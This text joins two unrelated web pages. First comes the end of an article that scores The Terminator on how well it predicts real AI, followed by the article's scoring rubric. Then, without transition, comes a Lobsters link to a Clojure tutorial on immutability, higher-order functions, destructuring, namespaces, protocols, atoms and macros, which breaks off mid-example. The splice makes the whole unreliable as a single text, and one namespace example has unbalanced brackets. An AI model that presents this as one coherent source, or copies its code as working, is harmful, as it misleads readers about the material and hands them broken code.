In the 1984 film, Kyle Reese says the defense computers “got smart” and decided humanity was a threat. The explicit account of Skynet becoming self-aware belongs to the 1991 sequel, not this film. The film doesn’t spend much time on how it was built, what data it learned from, or how engineers improved it. It tells us almost nothing about the language-learning route that produced today’s assistants.

Capabilities 1.3 /10

Language 2 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 2 Sequence & pace 0

The Terminator can pursue targets, navigate the physical world, and imitate human speech well enough to deceive people. That’s impressive embodied capability, but it isn’t a conversational model writing fiction or working on mathematics. The movie isn’t trying to predict the unusual order in which those skills would actually arrive.

Deployment 0.5 /10

Interface/distribution 0 Agents/tools 1 Economics 0 Social change 0

Here, AI becomes powerful through military command systems and killer robots. That’s a vivid warning about autonomous weapons, but not the path through chat interfaces, creative products, and office tools that gave modern AI its broadest adoption. A low score here says nothing about the film’s merits as a thriller.

None of these scores are mechanical measurements. Medium-confidence works need closer reading of the primary text. Late comparators (2017 and after) are marked; predicting something after the underlying technology exists is a different achievement.


HOW THE SCORING WORKS

Every work is scored for how well the plot points map onto the reality of AI. A 65 doesn’t mean 65% of the author’s predictions came true. Often a low score just means the story is focused on one narrow idea.

There are three questions, weighted toward the one a lot of authors usually skip: how AI was first got built.

40% Creation Learning from data, scale, iterative engineering, human teaching

35% Capabilities Language, uneven skills, creative quality, research, media, pace

25% Deployment Interfaces, agents and tools, economics, social change

Each question breaks into specific axes, fifteen in all, and every axis gets a score from 0 to 5.

0 No verified correspondence in what I checked

1 Loose

2 Meaningful but partial

3 Substantial, with caveats

4 Close, concrete match

5 Unusually specific and strong

Creation How the machine was built

The key prediction is that a machine becomes useful by learning from examples, instead of having every rule written out for it. Show me what it encounters—books, conversations, demonstrations—and how that changes what it can do.

More on learning paradigm

A neural network learning language from literature is much closer to the actual story than a computer simply called a genius. A 5 makes learning central to the mechanism. A 3 might identify learning without explaining it well. A hand-built poetry machine can be visionary about its output and still miss the approach that worked.

Doesn’t count Machine merely called “intelligent”

Where does its intelligence come from? A strong story makes human information part of the answer: conversations, books, images, recordings, or records of what people do.

More on training data

Better still, the data explains the skill. A system trained on correspondence might become persuasive; one trained on literature might produce fiction. But a database isn’t automatically a training set . Searching records is a retrieval prediction, not proof that the machine learned from them. I want the connection to appear in the text, not something we invent afterward because the machine sounds clever.

Doesn’t count Database merely available to search

The surprise about scaling is that more data, computation, and capacity can improve more than speed. They can change what a learning system is able to do.

More on scaling

A story earns high credit if we actually see that happen: a larger or better-trained version acquires new abilities. A giant computer that merely stores more records doesn’t count for much. Neither does a magical threshold where the machine suddenly wakes up. Growth should cause capability. It’s fair to award partial credit for recognizing the importance of resources without pretending a writer described the specific transformer architecture.

Doesn’t count Giant machine or magic awakening

Real progress is messy. Early systems fail, the next ones are awkward, and engineers change something and try again.

More on iteration

We want to see prototypes, demonstrations that go badly, retraining, revisions, and meaningful evaluations. It’s even better when the story makes clear why a new version improved. One dramatic malfunction isn’t a development process. This is different from B2: a finished machine can remain brilliant at some things and terrible at others. A4 asks how we got the finished machine in the first place.

Doesn’t count One dramatic failure

People are often better at recognizing a good answer than explaining how to produce one. A computer might generate jokes and have a person say which are funny, or improve its writing after criticism.

More on human feedback

That’s a surprisingly important idea. For a high score, the feedback should change the system’s learning or output. Editing one finished poem is useful collaboration; using those edits to train the system is a stronger prediction. I also wouldn’t call every example RLHF. That’s a specific modern technique, while the writer may have anticipated the broader intuition.

Doesn’t count Hardware debugging alone

Capabilities What it could actually do

Can you ask the machine something it wasn’t specifically programmed to answer? A high score needs flexible conversation: novel requests, relevant replies, fresh prose, questions that build on earlier context, or language that helps someone solve a problem.

More on language

That’s different from a robot delivering canned lines. Language should be an interface, not just an announcement system. Speech and text both count, but sounding human doesn’t establish truthfulness, consciousness, creative genius, or mathematical ability. We score those separately.

Doesn’t count Fixed menu/canned responses

Modern AI can solve something difficult and still miss something obvious. I want stories that notice this strange mismatch.

More on uneven competence

Maybe a machine writes an excellent poem but doesn’t know whether a joke is funny. Maybe it handles hard problems but invents facts or changes its answer when a question is phrased differently. The unevenness is the prediction. Sabotage or deliberate lies from a villainous computer are different. So is a uniformly broken early prototype. B2 is about a genuinely useful system that remains surprisingly unreliable in particular ways.

Doesn’t count Sabotage or evil motives alone

It’s not enough for the computer to produce a poem, picture, or song. Does anyone actually want it?

More on creative quality

A high-scoring story shows readers moved by machine literature, editors publishing it, an audience enjoying its music, or critics taking the work seriously. Awful early versions can make the prediction even better. Generated output isn’t automatically good art. Nor does audience appreciation settle originality or consciousness. The relevant prediction is that the result has value to people, whatever they think of its creator.

Doesn’t count Mere existence of machine output

This is deliberately a high bar. Fast calculations, remembered facts, and even difficult competition problems aren’t necessarily new research.

More on research discovery

We’re looking for a proof, construction, algorithm, theory, or discovery that others could test or verify. Even better is a story where a broadly useful machine later develops that research ability. New knowledge is what matters. A computer described as omniscient earns little credit if the text doesn’t show what it discovered. A far-future mathematician AI also doesn’t predict how quickly research followed the chatbot boom.

Doesn’t count Recall, arithmetic, omniscience

I want to see different kinds of information working together. The machine might read a document, look at a scene, respond to speech, create an image, or make music in the course of helping someone.

More on multimodality

The stronger stories make this useful, not decorative. A robot with eyes and a mouth isn’t enough ; those could just be sensors and a speaker. And it doesn’t all need to come from one architecture. In reality, image generation and LLMs advanced through overlapping but different approaches. The important thing is the integrated capability we can actually see.

Doesn’t count A physical body alone

Lots of stories have smart computers, machine artists, and robot scientists. Far fewer guess which abilities arrive first.

More on sequence & pace

A strong prediction shows a development history: awkward language systems, better conversation and creativity, assistants operating software, and progress in reasoning or scientific work. The real history wasn’t perfectly linear—image models improved alongside chatbots and mathematical work took several paths. It’s the order and pace that matter. If a supercomputer starts the story able to do everything, it may have the right destination and still tell us nothing about the route.

Doesn’t count All skills already present

Deployment How people lived and worked with it

How does an ordinary person meet the AI? Maybe it’s an operating system, a service, a workplace assistant, or something available through familiar devices.

More on interface/distribution

Maybe the same trained intelligence can be copied for thousands of customers. Distribution is part of the invention. One brilliant machine behind a locked laboratory door doesn’t score highly here. AI became widely available mostly as software, not as humanoid robots. A widely sold robot can still earn access points, but doesn’t get extra credit for the hardware-first route.

Doesn’t count Secret one-off supercomputer

An assistant becomes much more interesting when it can do something. It finds a file, sends a message, makes a change, checks the result, and decides what to do next.

More on agents/tools

That’s the agent story I’m looking for. Language turns into action through tools and systems that already exist. It doesn’t have to be independent, conscious, or hostile; working under a person’s instructions is enough. A machine secretly controlling every computer on Earth is one kind of agency, but less like the ordinary software workflows that made current agents useful.

Doesn’t count Chatting without actions

Why would anyone pay for this? What gets cheaper, faster, or better?

More on economics

Strong stories show adoption following incentives: publishers buying generated prose, offices automating communication, researchers saving time, or employees depending on new tools. They may also notice the cost of running, maintaining, or replacing the system. The business motive should shape what happens. Saying that all humans are unemployed tomorrow is a prediction of an outcome, not a useful explanation. Stories that retain a role for judgment, trust, or a recognizable human name are often more precise.

Doesn’t count Assumed domination

What changes in everyday life? Someone discovers that a beloved story was written by software.

More on social change

A grieving person forms a bond with a chatbot. A student learns from a persistent tutor. An employee brings the same assistant from home into the office. These concrete habits matter more than a claim that ‘society is transformed.’ Show the mechanism of the change. Cheap content affects publishing; personal records enable imitation; convenience creates dependence. Benefits count too. A future of total machine rule remains speculation, not something we’ve already witnessed.

Doesn’t count Generic “society changes”


Clojure Distilled

Lobsters
yogthos.net
2026-11-05 23:20:58
Comments...
Original Article

The difficulty in learning Clojure does not stem from its syntax, which happens to be extremely simple, but from having to learn new methods for solving problems. As such, we'll focus on understanding the core concepts and how they can be combined to solve problems the functional way.

All the mainstream languages belong to the same family. Once you learn one of these languages there is very little effort involved in learning another. Generally, all you have to do is learn some syntax sugar and the useful functions in the standard library to become productive. There might be a new concept here and there, but most of your existing skills are easily transferable.

This is not the case with Clojure. Being a Lisp dialect, it comes from a different family of languages and requires learning new concepts in order to use effectively. There is no reason to be discouraged if the code appears hard to read at first. I assure you that the syntax is not inherently difficult to understand, and that with a bit of practice you might find it to be quite the opposite.

The goal of this guide is to provide an overview of the core concepts necessary to become productive with Clojure. Let's start by examining some of the key advantages of the functional style and why you would want to learn a functional language in the first place.

Immutable

Clojure is a functional language. This makes it extremely well positioned for writing large applications. As the application grows it's imperative to be able to reason about its constituent parts in isolation. Conversely, there is a lot of value in building code out of components that are testable and reusable by nature. Let's take a look at why the functional approach is such a good fit here.

Functional languages are ideal for writing large applications because they eschew global state and favor immutability as the default. Having immutable shared state allows us to safely reason about parts of the application in isolation. At first glance, the idea of using immutable data structures sounds unnecessarily restrictive. However, as we'll soon see, many of the benefits associated with the functional style stem directly from it.

Mutable data can either be passed around by value or by reference. The safe approach would be to pass the data by value as it guarantees that any changes to the data will remain in the local scope. Unfortunately, this approach is extremely inefficient, so most languages pass data by reference instead.

Passing data by reference is fast, but it makes the code difficult to reason about. In order to safely work with the data you have to know all the places where it might be referenced. The complexity grows with the size of the application. The more code has access to a piece of data the more proverbial balls you end up having to juggle in your head.

Immutable data structures provide us with an ingenious alternative to the above dilemma. Every time a change is made to the data structure a revision is created. We now have the same guarantees offered by naive copying of the data, but we only pay the price proportional to the size of the change.

Just like garbage collection frees us from having to manually track data allocation and deallocation, immutable data structures free us from having to manage data references by hand. From the user perspective we simply "copy" the data any time we make a change. The language will take care of figuring out what parts of it can be cleaned up when they're no longer used.

Having such data structures facilitates writing pure functions. A pure function is simply a function without side effects. These functions do not rely on any state outside their inputs and they do not modify any external state when they run. Given the same parameters, the function will always produce the same result, regardless of the global state of the application.

Such functions can be safely reasoned about in isolation because we can guarantee that they're only able to modify their local scope. They provide us with self-contained components that can be composed to create complex behaviors. This type of code is referred to as being referentially transparent.

Reusable

Object-oriented languages use classes for composition. The data in each class is tightly coupled to the logic associated with it. Each class represents a specific domain and the methods written in it are not easily reusable outside that domain. When we wish to reuse the existing code we often have to resort to patterns such as adapters and wrappers.

The focus, in such a language, is primarily on modeling the state using classes. The data is seen as being incidental to the whole process. Functional programming brings data to the forefront and it encourages us to think about our problems in terms of data transformations.

In a functional language, the logic and the data are kept separate. Clojure provides a small set of common data structures such as lists, vectors, maps, and sets. All the functions in the language operate on the same data structures allowing us to combine them without any additional ceremony. With this approach the function becomes the core reusable component.

Each function represents a certain transformation that we wish to apply to our data. When we need to solve a problem we simply have to break it up into a sequence of transformations and map those to the appropriate functions. The functions capture how the tasks are accomplished, while their composition states what is being accomplished. Code that separates what is being done from how it is done is referred to as being declarative.

Let's take iteration as an example. With the imperative style we would write a loop and put the logic that's invoked during each step inside it. By contrast, the functional approach is to use an iterator function and pass the logic that we want to execute during the iteration as a parameter.

An iterator function can be written once and it encapsulates all the logic required for iteration, edge cases, and boundary checks. We can now reuse this function without having to worry about remembering to do these checks each time we need to iterate.

Scalable

The focus on immutability makes it much easier to tackle the difficult problems of parallelism and concurrency. While there is no silver bullet for addressing either problem, the language can go a long way in helping us reason about them.

As you'll recall, pure functions rely solely on their arguments and do not modify any state outside their scope. These properties make it possible to safely run them in parallel allowing us to easily take advantage of the extra cores.

An example of this is mapping a function over the items in a collection. We can start by using the map function. This function will iterate over a collection and apply a transformer function to each element inside it. Should we discover that each operation takes a significant amount of time, we can then simply switch to using the pmap function to run these operations in parallel.

Finally, it turns out that the immutable data structures are also an excellent tool for managing shared mutable state. Clojure provides a Software Transactional Memory (STM) library based on these data structures. With transactional memory we no longer have to worry about manual locking when dealing with threads. Better still, shared state backed by immutable data only needs to be locked for writing since the current revision can be safely read while the new revision is being generated.

Clojure In Action

Now that we've discussed some of the reasons to start using the functional style, let's see how to apply these ideas in practice with Clojure.

The Core

Data Types

Clojure provides a number of standard data types, most of which should look familiar:

  • Vars provide mutable storage locations. These can be bound and rebound on a per-thread basis.
  • Booleans can have a value of true or false; nil values are also treated as false.
  • Numbers can be integers, doubles, floats, and fractions.
  • Symbols are used as identifiers for variables.
  • Keywords are symbols that reference themselves and are denoted by a colon; these are often used as keys in maps.
  • Strings are denoted by double quotes and can span multiple lines.
  • Characters are denoted by a preceding backslash.
  • Regular expressions are strings prefixed with a hash symbol.

In addition to the data types, Clojure provides us with a literal notation for common collection types such as lists, vectors, maps, and sets:

  • List: '(1 2 3)
  • Vector: [1 2 3]
  • Map: {:foo "a" :bar "b"}
  • Set: #{"a" "b" "c"}

Interestingly, Clojure logic is written using its data structures. Using the same syntax for both data and logic allows for powerful metaprogramming features. We can manipulate any piece of Clojure code just like we would any other data structure. This feature makes it trivial to template the code for recurring patterns in your problem domain. In Clojure, code is data and data is code.

Special Forms

Special forms provide a small set of primitives, such as the if conditional, that define the core syntax. These are akin to reserved keywords found in other languages. However, unlike most languages, Clojure uses a minimal amount of reserved syntax and majority of the language is implemented using functions and macros in the standard library.

Functions

Function calls in Clojure work the same as any mainstream languages. The main difference being that the function name comes after the paren in the Clojure version.

functionName(param1, param2)
(function-name param1 param2)

There is a very simple reason for this difference. The function call is simply a list containing the function name and its parameters. In Clojure, a list is a special type of data structure reserved for creating callable expressions. To create a list data structure we'd have to call the list function:

(list 1 2 3)

Anonymous Functions

As the name implies, anonymous functions are simply functions that aren't bound to a name. Let's take a look at the following function that accepts a single argument and prints it:

(fn [arg] (println arg))

The function is defined by using the fn form followed by the vector containing its argument and the body. We could call the above function by setting it as a first item in a list and its argument as the second:

((fn [arg] (println arg)) "hello")
=>"hello"

Clojure provides syntactic sugar for defining anonymous functions using the # notation. With it we can rewrite our function more concisely as follows:

#(println %)

Here, the % symbol indicates an unnamed argument. Multiple arguments would each be followed by a number indicating its position as seen below:

#(println %1 %2 %3)

This type of function is useful when you need to perform a one-off computations that don't warrant defining a named function. They are commonly used in conjunction with the higher-order functions that we'll see in a moment.

Named Functions

Named functions are simply anonymous functions bound to a symbol used as an identifier. Clojure provides a special form called def that's used for creating global variables. It accepts a name and the body to be assigned to it. We can create a named function using the def form as follows:

(def double
  (fn [x] (* 2 x)))

Since this is such a common operation, Clojure provides a form called defn that does it for us:

(defn square [x]
  (* x x))

The defn form behaves the same as the fn form we saw above, except that its first argument is the name of the function. The body of the function can consist of multiple expressions:

(defn bmi [height weight]
  (println "height:" height)
  (println "weight:" weight)
  (/ weight (* height height)))

Here we define a function to calculate the BMI using the height and weight parameters. The body consists of two print statements and a call to divide the weight by the square of the height. All the expressions are evaluated from the inside out. In the last statement, (* height height) is evaluated, then the weight is divided by the result and returned. In Clojure, mathematical operators, such as / and * , are regular functions and so we call them using the prefix notation as we would with any other function.

Note that only the result from the last expression is returned from the function, the results of all the other expressions are discarded. Therefore, any intermediate expressions should strictly be used for side effects as is the case with the println calls above.

One thing to note is that Clojure uses a single pass compiler. For this reason, the functions must be declared before they are used. In a case when we need to refer to a function before it's been declared, we must use the declare macro in order to provide a forward declaration.

(declare down)

(defn up [n]
  (if (< n 10)
    (down (+ 2 n)) n))

(defn down [n]
  (up (dec n)))

A keen reader will have noticed that the code is structured as a tree. This tree is called the abstract syntax tree, or AST for short. By being able to see the AST directly, we can examine the relationships between pieces of logic visually.

Since we write our code in terms of data, there are fewer syntactic hints than in most languages. For example, there is no explicit return statement and the last expression of the function body is returned implicitly.

This might take a little getting used to if you're accustomed to seeing a lot of annotations in your code. To aid readability, functions are often kept short while indentation and spacing are used for grouping code visually.

In Clojure, there is no distinction between functions and variables. You can assign a function to a label, pass it as a parameter, or return a function from another function. Functions that can be treated as data are referred to as being first-class because they don't have any additional restrictions attached to them.

Higher-Order Functions

Functions that take other functions as parameters are called higher-order functions. One example of such a function is map :

(map #(* % %) [1 2 3 4 5]) => (1 4 9 16 25)

This function accepts two parameters where the first is an anonymous function that squares its argument and the second is a collection of numbers. The map function will visit each item in the collection and square it.

One major advantage of using a higher order function is that we can infer the intent of the code from the function being used. Let's contrast the above example to an imperative style loop:

(loop [[n & numbers] [1 2 3 4 5]
       result []]
  (let [result (conj result (* n n))]
    (if numbers
      (recur numbers result)
      result)))

The looping approach ends up having a lot more noise and thus we have to read through the code more carefully to tell what it's doing. The other problem is that the code becomes monolithic and no part of it can be used individually.

Another example of a higher-order function is filter . This function goes through a collection and keeps only the items matching the specified predicate.

(filter even? [1 2 3 4 5]) => (2 4)

Higher order functions can be easily chained together to create complex transformations:

(filter even?
  (map #(* 3 %) [1 2 3 4 5]))

=>(6 12)

Here we multiply each item by 3, then we use filter to only keep the even items from the resulting sequence. Having higher-order functions means that you should rarely have to write loops or explicit recursion. When iterating a collection, use a function such as map or filter instead. Since Clojure has a rich standard library, practically any data transformation can be easily achieved by combining functions found there. See here for some examples of this approach in action.

Once you learn to associate data transformations with specific functions, many problems can be solved by simply putting these functions together in a specific order.

Let's take a look at using this idea for a simple real world problem. We'd like to display a formatted address given the fields representing it. Commonly an address has a unit number, a street, a city, a postal code, and a country. We'll have to examine each of these fields, remove the nil and empty ones, and insert a separator between them. Given a table containing the following fields:

unit      | street          | city      | postal_code | country
""        | "1 Main street" | "Toronto" | nil         | "Canada"

We would like to output the following formatted string using the strings in the table:

"1 Main street, Toronto, Canada"

All we have to do is find the functions for the tasks of removing empty fields, interposing the separator, and concatenating the result into a string:

(defn concat-fields [& fields]
  (clojure.string/join ", " (remove empty? fields)))

(concat-fields "" "1 Main street" "Toronto" nil "Canada")
=> "1 Main street, Toronto, Canada"

Notice that we didn't have to specify how to do any of the tasks when writing our code. Most of the time we simply say what we're doing by composing the functions representing the operations we wish to carry out. The resulting code also handles all the common edge cases:

(concat-fields) => ""
(concat-fields nil) => ""
(concat-fields "") => ""

In Clojure, it's common for the code to work correctly for all inputs out of the box.

Closures

We've now seen how we can declare functions, name them, and pass them as parameters to other functions. One last thing we can do is write functions that return other functions as their result. One use for such functions is to provide the functionality facilitated by constructors in object-oriented languages.

Let's say we wish to greet our guests with a warm greeting. We can write a function that will accept the greeting string as its parameter and return a function that takes the name of the guest and prints a customized greeting for that guest:

(defn greeting [greeting-string]
  (fn [guest]
    (println greeting-string guest)))

(let [greet (greeting "Welcome to the wonderful world of Clojure")]
  (greet "Jane")
  (greet "John"))

The inner function in the greeting has access to the greeting-string value since the value is defined in its outer scope. The greeting function is called a closure because it closes over its parameters, in our case the greeting-string , and makes them available to the function that it returns.

You'll also notice that we're using a form called let to bind the greet symbol and make it available to any expressions inside it. The let form serves the same purpose as declaring variables in imperative languages.

Threading Expressions

By this point you're probably noticing that nested expressions can get difficult to read. Fortunately, Clojure provides a couple of helper forms to deal with this problem. Let's say we have a range of numbers, and we want to increment each number, interpose the number 5 between them, then sum the result. We could write the following code to do that:

(reduce + (interpose 5 (map inc (range 10))))

It's a little difficult to tell what's happening above at a glance. With a few more steps in the chain we'd be really lost. On top of that, if we wanted to rearrange any of the steps, such as interposing 5 before incrementing, then we'd have to renest all our expressions. An alternative way to write the above expression is to use the ->> form:

(->> (range 10) (map inc) (interpose 5) (reduce +))

Here, we use ->> to thread the operations from one to the next. This means that we implicitly pass the result of each expression as the last argument of the next expression. To pass it as the first argument we'd use the -> form instead.

Laziness

Many Clojure algorithms use lazy evaluation where the operations aren't performed unless their result actually needs to be evaluated. Laziness is crucial for making many algorithms work efficiently. For example, you might think the preceding example is very inefficient since we have to iterate our sequence each time to create the range, map across it, interpose the numbers, and reduce the result.

However, this is not actually the case. The evaluation of each expression happens on demand. The first value in the range is generated and passed to the rest of the functions, then the next, and so on, until the sequence is exhausted. This is a similar approach that languages like Python take with their iterator mechanics.

Code Structure

One nontrivial difference between Clojure and imperative languages is the way the code is structured. In imperative style, it's a common pattern to declare a shared mutable variable and modify it by passing it different functions. Each time we access the memory location we see the result of the code that previously worked with it. For example, if we have a list of integers and we wish to square each one then print the even ones, the following Python code would be perfectly valid:

l = range(1, 6)

for i, val in enumerate(l) :
  l[i] = val * val

for i in l :
  if i % 2 == 0 :
    print i

In Clojure this interaction has to be made explicit. Instead of creating a shared memory location and then having different functions access it sequentially, we chain functions together and pipe the input through them:

(println
  (filter #(= (mod % 2) 0)
    (map #(* % %) (range 1 6))))

We could also flatten out the steps using the ->> macro introduced earlier:

(->> (range 1 6)
     (map #(* % %))
     (filter #(= (mod % 2) 0))
     (println))

Each function returns a new value instead of modifying the existing data in place. You might think that this can get very expensive, and it would be with a naïve implementation where the entirety of the data is copied with every change.

In reality, Clojure is backed by persistent data structures that create in-memory revisions of the data. Each time a change is made a new revision is created proportional to the size of the change. With this approach we only pay the price of the difference between the old and the new structures while ensuring that any changes are localized.

Destructuring

Clojure has a powerful mechanism called destructuring for declaratively accessing values in data structures. This technique provides easy access to the data and serves to document the parameters to a function. Let's look at some examples to see how it works.

(let [[smaller bigger] (split-with #(< % 5) (range 10))]
    (println smaller bigger))

=>(0 1 2 3 4) (5 6 7 8 9)

Above, we use split-with function to split a range of ten numbers into a sequence containing two elements: numbers less than 5 and numbers greater than or equal to 5. Since we know the format of the result, we can write it in a literal form as [smaller bigger] in the let binding. Destructuring is not limited to the let form and works for all types of bindings such as function arguments.

Let's look at another function called print-user that accepts a vector with three elements and binds them to name , address , and phone , respectively:

(defn print-user [[name address phone]]
  (println name "-" address phone))

(print-user ["John" "397 King street, Toronto" "416-936-3218"])
=> "John - 397 King street, Toronto 416-936-3218"

We can also specify variable arguments as a sequence. This is done by using & followed by the name of the list containing the remaining arguments:

(defn print-args [& args]
  (println args))

(print-args "a" "b" "c") => (a b c)

Since the variable arguments are stored in a sequence, it can be destructured like any other:

(defn print-args [arg1 & [arg2]]
  (println
    (if arg2
      "got two arguments"
      "got one argument")))

(print-args "bar")
=>"got one argument"

(print-args "bar" "baz")
=>"got two arguments"

Destructuring can also be applied to maps. When destructuring a map, we create a new map where we supply the names for the local bindings pointing to the keys from the original map:

(let [{foo :foo bar :bar} {:foo "foo" :bar "bar"}]
  (println foo bar))

It's also possible to destructure a nested data structure. As long as you know the structure of the data being passed in, you can simply write it out:

(let [{[a b c] :items id :id} {:id "foo" :items [1 2 3]}]
  (println id "->" a b c))
=> "foo -> 1 2 3"

Finally, since extracting keys from maps is a very common operation, Clojure provides syntactic sugar for this task:

(defn login [{:keys [user pass]}]
 (and (= user "bob") (= pass "secret")))

(login {:user "bob" :pass "secret"})

Another useful destructuring option allows us to extract some keys while preserving the original map:

(defn register [{:keys [id pass repeat-pass] :as user}]
  (cond
    (nil? id) "user id is required"
    (not= pass repeat-pass) "re-entered password doesn't match"
    :else user))

Namespaces

When writing real-world applications we need tools to organize our code into separate components. Object-oriented languages provide classes for this purpose. The related methods will all be defined in the same class. In Clojure, we group our functions into namespaces instead. Let's look at how a namespace is defined.

(ns colors)

(defn hex->rgb [[_ & rgb]]
    (map #(->> % (apply str "0x") (Long/decode))
         (partition 2 rgb)))

(defn hex-str [n]
  (-> (format "%2s" (Integer/toString n 16))
      (clojure.string/replace " " "0")))

(defn rgb->hex [color]
  (apply str "#" (map hex-str color)))

Above, we have a namespace called colors containing three functions called hex->rgb , hex-str , and rgb->hex . The functions in the same namespace can call each other directly. However, if we wanted to call these functions from a different namespace we would have to reference the colors namespace there first.

Clojure provides two ways to do this, we can either use the :use or the :require keywords. When we reference a namespace with :use , all its Vars become implicitly available as if they were defined in the namespace that references it.

(ns myns
  (:use colors))

(hex->rgb "#33d24f")

There are two downsides to this approach. We don't know where the function was originally defined, making it difficult to navigate the code, and if we reference two namespaces that use the same name for a function, we'll get an error.

We can address the first problem by selecting the functions we wish to use explicitly using the :only keyword in our :use declaration.

(ns myns
  (:use [colors :only [rgb->hex]]))

(defn hex-str [c]
  (println "I don't do much yet"))

This way we document where rgb->hex comes from, and we're able to declare our own hex-str function in the myns namespace without conflicts. Note that rgb->hex will still use the hex-str function defined in the colors namespace.

The approach of using the :require keyword to reference the namespace provides us with more flexible options. Let's look at each of these.

We can require a namespace without providing any further directives. In this case, any calls to Vars inside it must be prefixed with the namespace declaration indicating their origin.

(ns myns (:require colors))

(colors/hex->rgb "#324a9b")

This approach is explicit about the origin of the Vars being referenced and ensures that we won't have conflicts when referencing multiple namespaces. One problem is that when our namespace declaration is long, it gets tedious to have to type it out any time we wish to use a function declared inside it. To address this problem, the :require statement provides the :as directive, allowing us to create an alias for the namespace.

(ns myotherns
  (:require [colors :as c]))

(c/hex->rgb "#324a9b")

We can also require functions from a namespace by using the :refer keyword. This is synonymous with the :use notation we saw earlier. To require all the functions from another namespace, we can write the following:

(ns myns
  (:require [colors :refer :all]))

If we wish to select what functions to require by name, we can instead write:

(ns myns
  (:require [colors :refer [rgb->hex]))

As you can see, there's a number of options available for referencing Vars declared in other namespaces. If you're not sure what option to pick, then requiring the namespace by name or alias is the safest route.

Dynamic Variables

Clojure provides support for declaring dynamic variables that can have their value changed within a particular scope. Let's look at how this works.

(declare ^{:dynamic true} *foo*)

(println *foo*)
=>#<Unbound Unbound: #'bar/*foo*>

Here we declared *foo* as a dynamic Var and didn't provide any value for it. When we try to print *foo* we get an error indicating that this Var has not been bound to any value. Let's look at how we can assign a value to *foo* using a binding.

(defn with-foo [f]
  (binding [*foo* "I exist!"]
    (f)))

(with-foo #(println *foo*)) =>"I exist!"

We set *foo* to a string with value "I exist!" inside the with-foo function. When our anonymous function is called inside with-foo we no longer get an error when trying to print its value.

This technique can be useful when dealing with resources such as file streams, database connections, or scoped variables. In general, the use of dynamic variables is discouraged since they make code more opaque and difficult to reason about. However, there are legitimate uses for them, and it's worth knowing how they work.

Polymorphism

One useful aspect of object-orientation is polymorphism, while it happens to be associated with that style it's in no way exclusive to it. Clojure provides two common ways to achieve runtime polymorphism. Let's look at each of these in turn.

Multimethods

Multimethods provide an extremely flexible dispatching mechanism using a selector function associated with one or more methods. The multimethod is defined using defmulti and its methods are each defined using defmethod . For example, if we had different shapes and we wanted to write a multimethod to calculate the area we could do the following:

(defmulti area :shape)

(defmethod area :circle [{:keys [r]}]
  (* Math/PI r r))

(defmethod area :rectangle [{:keys [l w]}]
  (* l w))

(defmethod area :default [shape]
  (throw (Exception. (str "unrecognized shape: " shape))))

(area {:shape :circle :r 10})
=> 314.1592653589793

(area {:shape :rectangle :l 5 :w 10})
=> 50

Above, the dispatch function uses a keyword to select the appropriate method to handle each type of map. This works because keywords act as functions and when passed a map will return the value associated with them. The dispatch function can be as sophisticated as we like however:

(defmulti encounter
  (fn [x y] [(:role x) (:role y)]))

(defmethod encounter [:manager :boss] [x y]
  :promise-unrealistic-deadlines)

(defmethod encounter [:manager :developer] [x y]
  :demand-overtime)

(defmethod encounter [:developer :developer] [x y]
  :complain-about-poor-management)

(encounter {:role :manager} {:role :boss})
=> :promise-unrealistic-deadlines

Protocols

Protocols allow defining an abstract set of functions that can be implemented by a concrete type. Let's look at an example protocol:

(defprotocol Foo
  "Foo doc string"
  (bar [this b] "bar doc string")
  (baz [this] [this b] "baz doc string"))

As you can see, the Foo protocol specifies two methods, bar and baz . The first argument to the method will be the type instance followed by its parameters. Note that the baz method has multiple arity. We can now create a type that implements the Foo protocol using the deftype macro:

(deftype Bar [data] Foo
  (bar [this param]
    (println data param))
  (baz [this]
    (println (class this)))
  (baz [this param]
    (println param)))

Here we create type Bar that implements protocol Foo . Each of its methods will print out some of the parameters passed to it. Let's see what it looks like when we create an instance of Bar and call its methods:

(let [b (Bar. "some data")]
  (.bar b "param")
  (.baz b)
  (.baz b "baz with param"))


some data param
Bar
baz with param

The first method call prints out the data Bar was initialized with and the parameter that was passed in. The second method call prints out the object's class, while the last method call demonstrates the other arity of baz.

We can also use protocols to extend the functionality of existing types, including existing Java classes. For example, we can use extend-protocol to extend the java.lang.String class with the Foo protocol:

(extend-protocol Foo String
  (bar [this param] (println this param)))

(bar "hello" "world")
=>"hello world"

The above examples illustrate the basic principles of how protocols can be used to write polymorphic code. However, there are many other uses for protocols as well and I encourage you to discover these on your own.

Dealing With Global State

While predominantly immutable, Clojure provides support for shared mutable data via its STM functions in the standard library. The STM is used to ensure that all updates to shared mutable variables are done atomically.

There are two primary mutable types: the atom and the ref . The atom is used in cases where we need to do uncoordinated updates and the ref is used when we might need to do multiple updates as a transaction. Let's look at an example of defining an atom and using it.

(def global-val (atom nil))

Above, we created an atom called global-val and its current value is nil . We can now read its value by using the deref function, which returns the current value.

(println (deref global-val)) => nil

Since this is a common operation, there is a shorthand for deref : the @ symbol:

(println @global-val)

The above code is equivalent to the preceding example.

Let's look at two ways of setting a new value for our atom . We can either use reset! and pass in the new value, or we can use swap! and pass in a function that will be used to update the current value.

(reset! global-val 10) (println @global-val) =>10

(swap! global-val inc) (println @global-val) =>11

 Note that both swap! and reset! end in an exclamation point ! ; this is a convention to indicate that these functions modify mutable data.

We define refs the same way we define atoms, but the two are used rather differently. Let's take a quick look at how they work below.

(def names (ref []))

(dosync
  (ref-set names ["John"])
  (alter names #(if (not-empty %)
                  (conj % "Jane") %)))

In this code, we define a ref called names , then open a transaction using the dosync statement. Inside the transaction we set names to a vector with the value "John" . Next, we call alter to check if names is not empty and add "Jane" to the vector of the names if that's the case.

Note that since this is happening inside a transaction, the check for emptiness depends on the existing state along with any state built up within the same transaction. If we tried to add or remove a name in a different transaction, it would have no visible effect on ours. In case of a collision, one of the transactions would end up being retried.

Writing Code That Writes Code

Clojure, being a Lisp, provides a powerful macro system. Macros allow templating repetitive blocks of code and deferring evaluation, among numerous other uses. A macro works by treating code as data instead of evaluating it. This allows us to manipulate the code tree just like any other data structure.

Macros execute before evaluation time and the evaluator sees the result of macro execution. Because of this level of indirection, macros can be difficult to reason about, and thus it's best not to use them when a function will do the job.

Let's look at a concrete example of a macro and see how it differs from the regular code we saw previously. Imagine that we have a web application with a session atom that might contain a user. We might want to load certain content only if a user is present in the session and not otherwise.

(def session (atom {:user "Bob"}))

(defn load-content []
  (if (:user @session)
    "Welcome back!"
    "please log in"))

This will work, but it's tedious and error-prone to write out the if statement every single time. Since our condition's logic stays the same, we can template this function as follows:

(defmacro defprivate [name args & body]
  `(defn ~(symbol name) ~args
     (if (:user @session)
       (do ~@body)
       "please log in")))

